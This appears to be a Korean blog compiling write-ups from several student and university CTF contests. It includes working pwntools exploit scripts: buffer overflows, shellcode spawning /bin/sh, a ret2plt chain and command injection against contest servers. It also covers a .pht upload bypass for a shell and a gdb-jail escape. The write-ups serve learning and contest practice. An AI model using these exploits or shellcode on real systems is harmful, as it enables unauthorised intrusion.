한국디지털미디어고등학교에서 주최하는 CTF에 참여했다.

시험 하루전에 참여한 CTF인데 그래서 한 두시간밖에 참여하지 못해서 9등으로 마무리했다 :)

Webhacking

5shared - 43 solver

$extension = explode('.', $file['name'])[1];
if (!in_array($extension, Array("jpg", "gif", "png")))
{
$message = "<script>alert('jpg, gif, png 확장자만 업로드할 수 있습니다.'); history.back(); </script>";
    die($message);
}

이런식으로 explode를 사용하면 test.jpg.html 이런식으로 파일을 올릴 수도 있다. 그런데 php는 막아놨다.

phtml이나 pht로 파일을 업로드할 수 있다.

플래그는 http://ctf.dimigo.hs.kr:8961/flaglfalllgllflflagflalglgllfllflflfaglflag 여기에 있다.

FLAG : DIMI{expl0d3_pht_g3t_sh3lL_:p}

simple xss

stored xss 문제

Reversing

ezthread - 7 solver

이 문제는 Anti-debugging 기법이 적용되어있다.

while ( !IsDebuggerPresent() )
    ;
exit(1);

안티디버깅이 이런식으로 되어있는데 바이너리 패치해서 우회할 수 있다. je를 jmp로 바꾸어 exit으로 가지 않게 하면 된다.

table=[102, 124, 124, 107, 78, 117, 17, 87, 100, 69, 114, 2, 80, 106, 65, 80, 6, 66, 103, 91, 6, 125, 4, 66, 125, 99, 2, 112, 76, 110, 103, 1, 98, 91, 106, 6, 18, 106, 115, 91, 69, 5, 113, 0, 76 ]
flag=[0]*45
key1=34
key2=53
key3=49
for i in range(len(table)):
	if(i%3==0):
		flag[i] = table[i] ^ key1
	elif(i%3==1):
		flag[i] = table[i] ^ key2
	elif(i%3==2):
		flag[i] = table[i] ^ key3

answer=""
for i in range(len(flag)):
	answer+=chr(flag[i])
print answer

FLAG : DIMI{D3bUgG3r_pr3sEn7_1s_V3Ry_E4Sy_70_Byp4S5}

keychecker - 17 solver

메인 함수를 보면 encode해주고 decode 해주는 함수가 있다.

./keychecker encode ~~~~ 이런식으로 써주면 argv[2]에 오는 문자가 인코딩 된다.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  if ( argc != 3 )
  {
    printf("%s [mod] [text]\n", *argv, envp);
    exit(1);
  }
  if ( !strcmp(argv[1], "encode") )
  {
    encode(argv[2]);
  }
  else if ( !strcmp(argv[1], "decode") )
  {
    decode(argv[2]);
  }
  return 0;
}

encode 함수를 확인해보면 아래와 같다. decode 함수는 그냥 Your turn이라고 출력해주는 코드밖에 없다.

encode 함수는 문자를 0x23(35)랑 xor해서 2진수로 바꿔주는 코드이다. 이를 이용해서 역으로 짤 수 있다.

__int64 __fastcall encode(const char *a1)
{
  signed int j; // [rsp+Ch] [rbp-24h]
  int i; // [rsp+10h] [rbp-20h]
  int v4; // [rsp+14h] [rbp-1Ch]
  _BYTE *v5; // [rsp+18h] [rbp-18h]
  int v6; // [rsp+24h] [rbp-Ch]

  v6 = strlen(a1);
  v5 = malloc(9 * v6);
  for ( i = 0; i < v6; ++i )
  {
    a1[i] ^= 0x23u;
    v4 = a1[i];
    for ( j = 0; j < 8; ++j )
    {
      v5[8 * i + j] = v4 % 2 + 48;
      v4 /= 2;
    }
  }
  printf("%s\n", v5);
  return 0LL;
}

2진수가 주어져있어서 encode 함수를 이용해서 풀 수 있었다.

table = '1110011001010110011101100101011000011010100001100100100010110010001111101110101011001000001111100110100011101010100011100100100010110110001000100011111011100010010010001011001000100110001111101110011011001000101100100010001001111010'
table = table[::-1]
flag = ''

print ''.join(chr(int(table[i:i+8],2)^0x23) for i in range(0,len(table),8))[::-1]

FLAG : DIMI{B1n_t0_5tR1Ng_d1nG_D0ng}

gorev - 23 solver

bytes=[0x44,0x49,0x4d,0x7b,0x47,0x6f,0x5f,0x47,0x30,0x5f,0x47,0x4f,0x5f,0x67,0x6f,0x5f,0x67,0x30,0x5f,0x67,0x4f,0x5f,0x72,0x33,0x76,0x65,0x72,0x73,0x69,0x6e,0x67,0x21,0x70]
flag=""
for i in range(len(bytes)):
	flag+=chr(bytes[i]^0x14^0x14)
print flag

이 코드대로 실행하면 DIM{Go_G0_GO_go_g0_gO_r3versing!p 이렇게 나오는데 조금만 수정해주고 제출하였다.

FLAG : DIMI{Go_G0_GO_go_g0_gO_r3versing!}

Misc

Mic Check - 119 solver

FLAG : DIMI{A-A-A-A---Mic-Check!}

dimi-contract - 28 solver

음수 체크를 안해서 그냥 계속 돈을 늘릴 수 있다.

FLAG : DIMI{m1nu5_b4nk_cUrR:p7}

reader - 10 solver

nc (nc ctf.dimigo.hs.kr 1312)와 python 파일이 주어졌다.

import sys

def send(data, end='\n'):
    sys.stdout.write(data + end)
    sys.stdout.flush()

def read():
    return raw_input()

def filtering(filename):
    filter = ['flag', 'proc', 'self', 'etc', 'tmp', 'home', '~', '.', '*', '?', '\\', 'x']
    for i in filter:
        if i in filename:
            send("Filtered!")
            sys.exit(-1)


if __name__ == '__main__':
    flag = open('flag', 'r')
    send("You can't read flag")
    send("But you can read file without filter XD")
    send("Filename :> ", end='')
    filename = read()
    filtering(filename)
    try:
        f = open(filename, 'r')
        send(f.read())
    except:
        send("No such file")

0,1,2을 제외하고 다른 파일을 반복해서 열고 닫으면 fd로 3을 반복해서 얻게 된다고 한다.

payload = /dev/fd/3

$ nc ctf.dimigo.hs.kr 1312
You can't read flag
But you can read file without filter XD
Filename :> /dev/fd/3
DIMI{d3v_fd_3_plz_Cl0s3_F:D!}

FLAG : DIMI{d3v_fd_3_plz_Cl0s3_F:D!}

'CTF WriteUp' 카테고리의 다른 글

2017 Dimi CTF Prequal WhatIsTheEnd  (0) 2019.08.04
2019 Codegate open CTF Writeup  (0) 2019.08.04
2019 Tamu CTF Writeup  (0) 2019.08.04
2019 Codegate Quals Writeup  (0) 2019.08.04
2018 고등해커 본선 Writeup  (0) 2019.08.04

2472팀중에 348등 5061 points로 끝냈고 22문제를 풀었다.

Pwnable

포..넙

Pwn1

from pwn import *

# p = remote('pwn.tamuctf.com',4321)
p = process('./pwn1')
e = ELF('./pwn1')
shell=0xDEA110C8
p.sendlineafter('What... is your name?','Sir Lancelot of Camelot')
p.sendlineafter('What... is your quest?','To seek the Holy Grail.')
p.recvuntil('What... is my secret?')
payload = ''
payload += 'A'*(0x3b-0x10)
payload += p32(shell)
p.sendline(payload)
p.interactive()

FLAG : gigem{34sy_CC428ECD75A0D392}


Pwn2

from pwn import *

# p = remote('pwn.tamuctf.com',4322)
p = process('./pwn2')
e = ELF('./pwn2')
flag_fun=0x000006d8
p.recvuntil('Which function would you like to call?')
payload = 'A'*30
payload += p32(flag_fun)
p.sendline(payload)
p.interactive()

FLAG : gigem{4ll_17_74k35_15_0n3}


Pwn3

from pwn import *

# p = remote('pwn.tamuctf.com',4323)
p = process('./pwn3')
e = ELF('./pwn3')

sh = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"
p.recvuntil('Take this, you might need it on your journey ')
add = int(p.recv(10),0)
payload=''
payload += sh
payload += 'A'*(302-len(sh))
payload += p32(add)
p.sendline(payload)
p.interactive()

FLAG : gigem{r3m073_fl46_3x3cu710n}


Pwn4

Pwn4와 Pwn5는 그냥 살짝 쉽게 푸는 법이 있는데 이게 Enter the arguments you would like to pass to ls: 이후에 몇 바이트만 받는데 약 4? 5인가? 이게 ls명령어를 실행하니까 &sh 로 쉘을 딸 수 있었다.

ex 1)

from pwn import *

# p = remote('pwn.tamuctf.com',4324)
p = process('./pwn4')
e = ELF('./pwn4')

gets_plt=e.plt['gets']
system_plt=e.plt['system']
pr_add=0x80486DB

p.recvuntil('Enter the arguments you would like to pass to ls:')
payload=''
payload+='A'*37
payload+=p32(gets_plt)
payload+=p32(pr_add)
payload+=p32(e.bss())

payload+=p32(system_plt)
payload+='A'*4
payload+=p32(e.bss())

p.sendline(payload)
p.sendline('/bin/sh\x00')
sleep(0.5)
p.interactive()

ex 2)

$ nc pwn.tamuctf.com 4324
ls as a service (laas)(Copyright pending)
Enter the arguments you would like to pass to ls:
&sh
Result of ls &sh:
flag.txt
pwn4
cat flag.txt
gigem{5y573m_0v3rfl0w}

FLAG : gigem{5y573m_0v3rfl0w}


Pwn5

”“"”…

$ nc pwn.tamuctf.com 4325
ls as a service (laas)(Copyright pending)
Version 2: Less secret strings and more portable!
Enter the arguments you would like to pass to ls:
&sh
Result of ls &sh:
flag.txt
pwn5
cat flag.txt
gigem{r37urn_0r13n73d_pr4c71c3}

FLAG : gigem{r37urn_0r13n73d_pr4c71c3}


Reversing

이지한데 어려운건 너무 어려웠다.

Cheesy

Base64 느낌의 인코딩이 많은거 같아서 그냥 다 디코딩해주었다. 그 중에서 플래그가 있었다.

import base64
print base64.b64decode('Z2lnZW17M2E1eV9SM3YzcjUxTjYhfQ==')

FLAG : gigem{3a5y_R3v3r51N6!}


Snakes over cheese

pyc 파일이 주어져서 디컴파일해주었다. 그냥 시계는 의미없고 table1의 값을 다 문자로 바꾸어주었더니 플래그가 나왔다.

table1 = [
 102, 108, 97, 103, 123, 100, 101, 99, 111, 109, 112, 105, 108, 101, 125]

FLAG : gigem{decompile}


042

.s파일이 주어졌다. at&t 문법이였다. 평소에 Intel만 사용해서 그런지 거꾸로 대입해야했다. 일단 L_.str.2 에서 플래그를 출력해주는 거 같았다. 근데 문제가 너무 간단하게 rbp-16 ~ rbp-9까지 넣은 값이 gigem(“%s”) 안에 들어간다. 저 값들을 문자열로 바꾸어주면 된다.

movb	$65, -16(%rbp)
movb	$53, -15(%rbp)
movb	$53, -14(%rbp)
movb	$51, -13(%rbp)
movb	$77, -12(%rbp)
movb	$98, -11(%rbp)
movb	$49, -10(%rbp)
movb	$89, -9(%rbp)

FLAG : gigem{A553Mb1Y}


KeyGenMe

그냥 브루트포스 코드짜서 돌렸다. 값은 무수히 많았다. 근데 마지막에 막혀서 아쉬운게 분석해보면 마지막에 한글자가 더 붙어서 나오는데 한글자 빼고 값을 넣어줘야 ` [OIonU2_<__nK<KsK` 이 값이 나온다. ㅠㅠ

FLAG : gigem{k3y63n_m3?_k3y63n_y0u!}


Cr4ckZ33C0d3

파이썬 모듈 z3와 angr를 활용해서 풀 수 있는 문제였다. 이거에서 시간 좀 많이 쓴듯하다.

import angr
from pwn import *

p=angr.Project("./prodkey",load_options={'auto_load_libs':True})
ex=p.surveyors.Explorer(find=(0x400e7f,),avoid=(0x400ead,))
ex.run()
#print ex.found[0].state.posix.dumps(3)
key = ex.found[0].state.posix.dumps(3)
e = process('./prodkey')
#e = remote('rev.tamuctf.com',8189)
e.sendlineafter('Please Enter a product key to continue:',key)
e.interactive()


NoCCBytes

이건 소스가 좀 긴데 그냥 마지막에 passCheck해주는 부분을 보면 전역변수 globPass라는 변수와 xor해주길래 그냥 브루트포스 돌렸다. 그 중에서 그나마 그럴싸한 WattoSays 가 password인 거 같아서 넣어줬는데 맞았다.

FLAG : gigem{Y0urBreakpo1nt5Won7Work0nMeOnlyMon3y}


Android

Secrets

howdyapp.apk라는 파일이 주어진다. 디컴파일 해주고 strings보니까 base64 인코딩된 문자가 있어서 디코드 해주었다.

FLAG : gigem{infinite_gigems}


Crypto

-.-

엄청난 양의 Morse Code가 있어서 코드짜서 그냥 쉽게 돌려주었다. 그러면 엄청난 양의 16진수가 나오는데 iHex에 붙여넣기 했더니 끝 부분에 플래그가 있었다.

table = "dah-dah-dah-dah-dah dah-di-di-dah di-di-di-di-dit dah-dah-di-di-dit dah-dah-di-di-dit dah-dah-dah-dah-dah di-di-dah-dah-dah di-dah dah-di-di-di-dit dah-di-dah-dit di-di-di-di-dit dah-dah-dah-di-dit dah-dah-di-di-dit di-di-di-di-dah di-di-di-di-dah dah-dah-di-di-dit di-di-di-di-dit di-dah-dah-dah-dah di-di-di-dah-dah dah-dah-dah-di-dit dah-di-di-di-dit di-di-di-di-dit di-di-di-dah-dah dah-dah-dah-di-dit dah-dah-di-di-dit di-dah-dah-dah-dah dah-di-di-di-dit dit dah-di-di-di-dit dah-di-dit di-di-di-di-dah dah-di-dit di-di-di-di-dit dah-dah-dah-dah-dit di-di-di-di-dit di-di-di-di-dit di-di-dah-dah-dah di-dah dah-dah-di-di-dit di-di-di-dah-dah dah-dah-di-di-dit dah-di-di-di-dit di-di-di-di-dah dah-di-di-di-dit di-di-di-di-dah dah-dah-dah-di-dit dah-di-di-di-dit dah-di-di-dit dah-di-di-di-dit di-dah di-di-di-di-dah dah-dah-dah-dah-dit dah-dah-di-di-dit di-di-di-di-dah di-di-dah-dah-dah di-dah di-di-di-di-dit di-di-dah-dah-dah di-di-di-di-dit di-dah-dah-dah-dah di-di-dah-dah-dah dah-di-di-di-dit di-di-di-di-dah di-dah dah-dah-di-di-dit dah-dah-dah-dah-dah di-di-di-di-dit di-dah dah-dah-di-di-dit dah-di-di-di-dit dah-di-di-di-dit di-dah dah-di-di-di-dit dah-di-dit di-di-dah-dah-dah di-dah-dah-dah-dah di-di-dah-dah-dah di-di-di-di-dit di-di-dah-dah-dah di-di-di-di-dit di-di-di-di-dah dah-di-di-dit di-di-di-di-dah di-di-di-di-dah dah-di-di-di-dit dah-di-di-dit dah-di-di-di-dit dah-di-di-di-dit dah-dah-di-di-dit dah-dah-dah-dah-dah di-di-dah-dah-dah di-di-di-dah-dah di-di-di-di-dit dit di-di-di-di-dah dit di-di-di-dah-dah dah-dah-dah-dah-dit dah-di-di-di-dit dah-di-di-di-dit dah-di-di-di-dit dah-di-di-dit di-di-di-dah-dah di-di-di-di-dah dah-di-di-di-dit di-di-di-di-dah di-di-di-di-dit di-di-di-di-dit di-di-di-dah-dah di-di-di-di-dah dah-di-di-di-dit dah-di-dah-dit di-di-di-di-dah di-di-dah-dah-dah di-di-di-dah-dah di-di-di-dah-dah dah-dah-di-di-dit di-di-dah-dah-dah di-di-di-di-dit di-di-di-di-dah dah-di-di-di-dit di-di-dah-dit di-di-di-di-dit di-di-di-di-dah di-di-di-dah-dah dah-dah-dah-dah-dah di-di-di-di-dit dah-dah-dah-dah-dah di-di-di-di-dit di-dah di-di-di-di-dit di-dah-dah-dah-dah dah-di-di-di-dit dah-di-dit di-di-di-di-dah di-di-di-dah-dah di-di-di-di-dit di-dah-dah-dah-dah di-di-di-di-dah di-di-di-di-dit di-di-di-di-dah dah-di-di-dit di-di-di-di-dit dah-dah-dah-dah-dit di-di-di-di-dah di-di-dah-dah-dah di-di-di-dah-dah di-di-di-di-dah di-di-di-di-dit di-dah di-di-di-di-dah dah-di-dit dah-dah-di-di-dit dah-di-di-di-dit di-di-dah-dah-dah di-dah di-di-dah-dah-dah di-dah-dah-dah-dah di-di-di-di-dah dah-di-di-di-dit dah-di-di-di-dit dah-di-di-dit di-di-di-dah-dah dah-dah-dah-di-dit dah-di-di-di-dit dah-di-dah-dit di-di-dah-dah-dah di-di-di-di-dit dah-di-di-di-dit di-di-dah-dah-dah dah-di-di-di-dit di-dah dah-dah-di-di-dit di-dah-dah-dah-dah dah-di-di-di-dit dah-di-dah-dit di-di-di-di-dit dah-dah-dah-dah-dah di-di-di-di-dah dah-di-dit dah-di-di-di-dit dah-di-di-di-dit di-di-di-di-dah dah-dah-dah-dah-dit di-di-di-di-dah dah-dah-di-di-dit dah-di-di-di-dit dah-di-dit dah-di-di-di-dit di-dah-dah-dah-dah di-di-dah-dah-dah di-di-di-di-dit di-di-dah-dah-dah di-di-di-di-dit di-di-di-di-dah dah-di-di-di-dit dah-dah-di-di-dit di-dah di-di-di-di-dah dah-dah-di-di-dit di-di-dah-dah-dah dah-dah-dah-dah-dah dah-di-di-di-dit dah-dah-di-di-dit dah-di-di-di-dit dah-dah-dah-dah-dit dah-di-di-di-dit dah-dah-di-di-dit dah-di-di-di-dit di-di-di-di-dit dah-di-di-di-dit dah-di-dit dah-dah-di-di-dit dah-di-di-dit di-di-di-di-dah di-di-di-dah-dah di-di-di-dah-dah di-dah-dah-dah-dah dah-di-di-di-dit dah-dah-dah-dah-dit dah-di-di-di-dit di-di-di-dah-dah di-di-di-di-dah dah-di-di-dit di-di-di-di-dit di-di-dah-dit dah-di-di-di-dit di-di-di-dah-dah dah-di-di-di-dit dah-di-dah-dit di-di-di-dah-dah di-dah-dah-dah-dah di-di-di-di-dah di-di-di-dah-dah di-di-di-di-dah dah-di-di-dit di-di-dah-dah-dah dah-di-dit dah-dah-di-di-dit dah-dah-dah-dah-dit di-di-di-dah-dah dah-dah-dah-dah-dah dah-dah-di-di-dit di-di-di-di-dit di-di-di-di-dit di-di-dah-dit dah-di-di-di-dit dah-dah-dah-di-dit di-di-di-dah-dah di-di-di-di-dah dah-dah-di-di-dit dah-di-di-di-dit di-di-di-dah-dah di-di-di-dah-dah di-di-di-di-dit di-di-dah-dit dah-di-di-di-dit dah-di-dit di-di-di-dah-dah di-di-di-di-dah di-di-di-di-dah dah-dah-dah-dah-dit di-di-di-dah-dah di-dah-dah-dah-dah dah-dah-di-di-dit dah-di-dit di-di-dah-dah-dah dah-dah-dah-dah-dah dah-dah-di-di-dit di-di-di-di-dit dah-dah-di-di-dit dah-di-di-di-dit di-di-di-dah-dah di-di-di-di-dah dah-dah-di-di-dit dah-di-di-di-dit dah-dah-di-di-dit di-dah di-di-di-di-dah dah-di-di-dit di-di-di-di-dit di-dah dah-dah-di-di-dit di-di-di-di-dah di-di-di-dah-dah di-di-di-di-dah dah-dah-di-di-dit dah-dah-dah-dah-dit dah-di-di-di-dit di-di-dah-dit dah-di-di-di-dit dah-di-dit dah-di-di-di-dit dah-dah-dah-dah-dit di-di-di-di-dah di-di-di-di-dah di-di-di-di-dit di-di-di-dah-dah dah-di-di-di-dit dah-dah-dah-di-dit di-di-di-di-dah dah-di-dah-dit dah-di-di-di-dit dah-di-dit di-di-di-dah-dah dah-dah-dah-di-dit di-di-di-di-dit di-dah-dah-dah-dah di-di-di-di-dah di-di-di-di-dit di-di-di-di-dah dah-di-di-di-dit dah-di-di-di-dit dit di-di-di-di-dit di-di-di-di-dit dah-dah-di-di-dit di-di-di-di-dah dah-dah-di-di-dit dah-dah-di-di-dit di-di-di-di-dah di-dah di-di-di-di-dah dah-dah-dah-dah-dah di-di-di-di-dah dit dah-dah-di-di-dit di-di-di-di-dit di-di-di-di-dah di-di-dah-dit di-di-di-di-dit dah-dah-dah-dah-dit dah-di-di-di-dit dah-di-di-di-dit di-di-di-di-dit dah-dah-dah-di-dit di-di-dah-dah-dah dah-di-di-di-dit di-di-di-dah-dah dah-dah-dah-di-dit dah-dah-di-di-dit di-di-di-di-dit di-di-di-di-dah dah-dah-dah-dah-dah di-di-di-di-dah dah-dah-di-di-dit dah-di-di-di-dit dit di-di-dah-dah-dah di-dah-dah-dah-dah di-di-di-dah-dah di-dah-dah-dah-dah di-di-dah-dah-dah di-di-di-di-dit di-di-di-di-dit di-di-di-di-dah dah-dah-di-di-dit di-dah-dah-dah-dah dah-dah-di-di-dit dah-di-di-di-dit di-di-di-dah-dah dah-dah-dah-dah-dah di-di-di-di-dit dah-di-di-di-dit dah-di-di-di-dit di-di-di-dah-dah di-di-di-di-dit di-di-dah-dah-dah dah-dah-di-di-dit di-dah di-di-di-di-dit dah-di-di-di-dit di-di-dah-dah-dah di-dah-dah-dah-dah dah-di-di-di-dit di-dah di-di-dah-dah-dah di-dah-dah-dah-dah dah-dah-di-di-dit dah-di-di-di-dit dah-dah-di-di-dit di-di-di-di-dit dah-dah-di-di-dit di-di-di-di-dit dah-dah-di-di-dit dah-dah-dah-dah-dah di-di-di-dah-dah dah-dah-dah-di-dit di-di-di-di-dah di-di-dah-dah-dah dah-di-di-di-dit di-dah dah-di-di-di-dit di-di-di-di-dah di-di-di-di-dah dit di-di-di-di-dah dah-dah-dah-dah-dit dah-dah-di-di-dit di-dah-dah-dah-dah di-di-di-di-dah di-di-di-di-dit di-di-di-dah-dah di-di-di-di-dit dah-dah-di-di-dit dah-dah-di-di-dit di-di-dah-dah-dah di-di-di-dah-dah di-di-dah-dah-dah di-di-di-di-dah di-di-dah-dah-dah di-di-di-di-dit di-di-di-di-dit dah-di-di-di-dit di-di-di-dah-dah di-di-di-di-dah di-di-di-di-dit di-di-di-di-dit di-di-di-di-dit di-dah di-di-di-di-dah di-di-dah-dit di-di-di-di-dit dah-dah-dah-dah-dit di-di-di-di-dit di-dah di-di-di-dah-dah di-di-dah-dah-dah dah-dah-di-di-dit di-dah di-di-di-dah-dah dah-dah-di-di-dit di-di-di-di-dit di-di-di-di-dah di-di-di-dah-dah di-di-dah-dah-dah di-di-di-dah-dah di-di-di-di-dit dah-dah-di-di-dit di-di-di-di-dah di-di-di-dah-dah dah-dah-di-di-dit di-di-dah-dah-dah dah-di-di-di-dit dah-dah-di-di-dit dah-dah-dah-di-dit di-di-di-di-dah dah-di-dah-dit di-di-di-di-dah dah-dah-dah-dah-dah di-di-di-di-dit dah-dah-di-di-dit di-di-di-di-dah di-di-dah-dit di-di-di-dah-dah dah-dah-di-di-dit di-di-di-dah-dah di-di-di-di-dah di-di-di-dah-dah di-dah-dah-dah-dah di-di-di-dah-dah dah-dah-dah-dah-dah di-di-di-di-dit di-dah-dah-dah-dah di-di-di-di-dah dah-dah-dah-dah-dit"
table = table.split(' ')

solve = {
	"dah-dah-dah-dah-dah" : '0',
	"di-dah-dah-dah-dah" : '1',
	"di-di-dah-dah-dah" : '2',
	"di-di-di-dah-dah" : '3',
	"di-di-di-di-dah" : '4',
	"di-di-di-di-dit" : '5',
	"dah-di-di-di-dit" : '6',
	"dah-dah-di-di-dit" : '7',
	"dah-dah-dah-di-dit" : '8',
	"dah-dah-dah-dah-dit" : '9',
	"di-dah" : 'A',
	"dah-di-di-dit" : 'B',
	"dah-di-dah-dit" : 'C',
	"dah-di-dit" : 'D',
	"dit" : 'E',
	"di-di-dah-dit" : 'F'
    "dah-di-di-dah" : 'X',
}
flag=""
#print solve
for i in range(len(table)):
	for j in table:
		flag += solve[j]
print flag

FLAG : gigem{C1icK_cl1CK-y0u_h4v3_m4I1}


그 외 다른 문제들은 안 쓰겠다. ㅎㅅㅎ

'CTF WriteUp' 카테고리의 다른 글

2019 Codegate open CTF Writeup  (0) 2019.08.04
2019 Dimi CTF Prequal Writeup  (0) 2019.08.04
2019 Codegate Quals Writeup  (0) 2019.08.04
2018 고등해커 본선 Writeup  (0) 2019.08.04
2017 Dimi CTF Final - 50pt  (0) 2019.05.11

팀명 : 앙진헌띠

주니어부 23등

MIC check

9P&;gFD,5.BOPCdBl7Q+@V’1dDK?qL 를 디코딩하라고 한다.

ASCII-85 디코딩 해주면 플래그가 나온다.

FLAG : Let the hacking begins ~


20000

nc 와 20000이라는 바이너리와 20000개의 .so파일이 주어진다.

20000 바이너리의 메인함수이다. 메인에서 1~20000까지 입력받는데 이 입력 받은 수의 라이브러리 파일을 불러와서 test 함수를 실행시켜준다. 그리고 쉘을 따면 될 거 같다.

signed __int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  char *v3; // rax
  signed __int64 result; // rax
  void *v5; // rdi
  char *v6; // rax
  int input; // [rsp+Ch] [rbp-94h]
  void (__fastcall *v8)(void *, const char *); // [rsp+10h] [rbp-90h]
  void *handle; // [rsp+18h] [rbp-88h]
  char s; // [rsp+20h] [rbp-80h]
  int v11; // [rsp+80h] [rbp-20h]
  int v12; // [rsp+84h] [rbp-1Ch]
  unsigned __int64 v13; // [rsp+88h] [rbp-18h]

  v13 = __readfsqword(0x28u);
  print_map();
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  memset(&s, 0, 0x60uLL);
  v11 = 0;
  printf("INPUT : ", 0LL, &v12);
  __isoc99_scanf("%d", &input);
  if ( input <= 0 && input > 20000 )
  {
    printf("Invalid Input", &input);
    exit(-1);
  }
  sprintf(&s, "./20000_so/lib_%d.so", input);
  handle = dlopen(&s, 1);
  if ( handle )
  {
    v5 = handle;
    v8 = dlsym(handle, "test");
    if ( v8 )
    {
      v8(v5, "test");
      dlclose(handle);
      result = 0LL;
    }
    else
    {
      v6 = dlerror();
      fprintf(stderr, "Error: %s\n", v6);
      dlclose(handle);
      result = 1LL;
    }
  }
  else
  {
    v3 = dlerror();
    fprintf(stderr, "Error: %s\n", v3);
    result = 1LL;
  }
  return result;
}

하지만 문제가 20000개의 lib 파일에서 무슨 파일인지 알 수 없었다. 왜 20000개인지 알 거 같았다. 마지막 수정 일 순으로 정렬해보면 lib_17394.so 파일만 수정일이 오전 10시 37분이였다. 다른 .so파일들은 수정일이 오후 10시 33분이였다.

signed __int64 test()
{
  char *v0; // rax
  signed __int64 result; // rax
  char *v2; // rax
  void (__fastcall *v3)(char *, char *); // [rsp+0h] [rbp-B0h]
  void (__fastcall *v4)(char *); // [rsp+8h] [rbp-A8h]
  void *handle; // [rsp+10h] [rbp-A0h]
  void *v6; // [rsp+18h] [rbp-98h]
  char buf; // [rsp+20h] [rbp-90h]
  __int16 v8; // [rsp+50h] [rbp-60h]
  char s; // [rsp+60h] [rbp-50h]
  __int16 v10; // [rsp+90h] [rbp-20h]
  unsigned __int64 v11; // [rsp+98h] [rbp-18h]

  v11 = __readfsqword(0x28u);
  memset(&buf, 0, 0x30uLL);
  v8 = 0;
  memset(&s, 0, 0x30uLL);
  v10 = 0;
  handle = dlopen("./20000_so/lib_4323.so", 1);
  if ( handle )
  {
    v3 = dlsym(handle, "filter1");
    v6 = dlopen("./20000_so/lib_11804.so", 1);
    if ( v6 )
    {
      v4 = dlsym(v6, "filter2");
      puts("This is lib_17394 file.");
      puts("How do you find vulnerable file?");
      read(0, &buf, 0x32uLL);
      v3(&buf, &buf);
      v4(&buf);
      sprintf(&s, "%s 2 > /dev/null", &buf);
      system(&s);
      dlclose(handle);
      dlclose(v6);
      result = 0LL;
    }
    else
    {
      v2 = dlerror();
      fprintf(stderr, "Error: %s\n", v2);
      result = 0xFFFFFFFFLL;
    }
  }
  else
  {
    v0 = dlerror();
    fprintf(stderr, "Error: %s\n", v0);
    result = 0xFFFFFFFFLL;
  }
  return result;
}

lib_17394.so 를 보면 lib_4323.so 라이브러리의 fillter1을 실행시키고 lib_11804.so 라이브러리의 fillter2를 실행시켜준다. 그러면 이제 fillter만 우회해서 쉘을 따주면 될 거 같다. system(&s) 를 실행시켜주니까 저기에 쉘을 넣어주면 될 거 같다.

Exploit Code

#!/usr/bin/python
# -*- coding: utf-8 -*-
from pwn import *
from ctypes import *

# testlib = CDLL('./c1e3a33d8932a4a61b0e0e0e49d6c9bc/20000_so/lib_17394.so')
"""
Filltering
; * | & $ ` > < v m p d f g l
r bash
"""
#p = process('././c1e3a33d8932a4a61b0e0e0e49d6c9bc/20000')
p = remote('110.10.147.106',15959)
print p.sendlineafter('INPUT :','17394')
print p.sendlineafter('How do you find vulnerable file?','/bin/sh')
p.interactive()

FLAG : Are_y0u_A_h@cker_in_real-word?

'CTF WriteUp' 카테고리의 다른 글

2019 Dimi CTF Prequal Writeup  (0) 2019.08.04
2019 Tamu CTF Writeup  (0) 2019.08.04
2018 고등해커 본선 Writeup  (0) 2019.08.04
2017 Dimi CTF Final - 50pt  (0) 2019.05.11
2018 OtterCTF Writeup  (0) 2018.12.11

아슬아슬하게 6등해서 상을 받게 되었다.. 우리 팀원들끼리 협동 해서 푼 문제들도 있었는데 좀 재밌었다. 마지막에 점수 역전 당할 줄 알았는데 아슬아슬하게 상을 타게 되었다.

REV

enc = "51564e534f497f473e78396a51573c7f4d4362217426277867"
bb = enc.decode("hex")
flag = ""
for i in range(len(bb)):
	flag += chr(ord(bb[i])^2^i)
print flag

enc를 인코딩해줬으니 decode하고 역으로 코드 짜주면 나온다

FLAG : SUNRIN{B4s1c_X0r_Pr0b13m}


MISC

  • GDB_jail
$ nc layer7.kr 12223 
      ___       ___  __   __         ___    ___  __      __   __   __
|  | |__  |    |__  /  ` /  \  |\/| |__      |  /  \    / _` |  \ |__)
|/\| |___ |___ |___ \__, \__/  |  | |___     |  \__/    \__> |__/ |__)

Gdb command : help
Running ...

target exec [PATH] -- set target
r -- run target

Gdb command : target exec /bin/sh
Running ...
Gdb command : r
Running ...
ls
flag
problem.py
cat flag
Sunrin{GDB_JA1L~~--><--~~L1AJ_BDG}

Help 커맨드를 이용해서 사용법을 보니 target exec 하고 경로를 입력하는게 target을 설정하는거였다.

그리고 r을 입력해주면 그 target이 실행이 된다고 했다.

그래서 target exec /bin/sh 로 target을 설정해주고 r을 입력해서 실행시켰더니 명령어를 사용할 수 있다는 것을 알 수 있었다. 그래서 ls로 파일들을 보니 flag라는 파일이 있길래 봤더니 flag가 있었다.

import gdb
import time

print('''      ___       ___  __   __         ___    ___  __      __   __   __
|  | |__  |    |__  /  ` /  \\  |\\/| |__      |  /  \\    / _` |  \\ |__)
|/\\| |___ |___ |___ \\__, \\__/  |  | |___     |  \\__/    \\__> |__/ |__)
                                                                      ''')

help_cmd = '''
target exec [PATH] -- set target
r -- run target
'''

while 1:
	try:
		command = input("Gdb command : ")
		print("Running ...")
		time.sleep(1)
		for i in command:
			if(i in "!`@#$%^&*()_+=-}{[]\\\"';:<>.,?|~`"):
				print("%s isn't allowed!"%(command.split(" ")[0]))
				continue

		if("target" in command):
			gdb.execute(command)

		elif("r" == command):
			gdb.execute("r")
			print("GOOD BYE")
			exit(1)

		elif("help" == command):
			print(help_cmd)

		else:
			print("%s isn't allowed!"%(command.split(" ")[0]))
	except:
		exit(1)

problem.py의 소스이다.

FLAG : Sunrin{GDB_JA1L~~--><--~~L1AJ_BDG}


WEB

웹 문제는 의도치 않게 푼거 같은데 F5로 계속 새로고침을 하다보면 Flag가 나왔다가 없어질 때 있는데 나올 때를 캡쳐해서 풀었다.

FLAG : Sunrin{b4by_r4c3_c0nd1t10n_1nw3bapp}

'CTF WriteUp' 카테고리의 다른 글

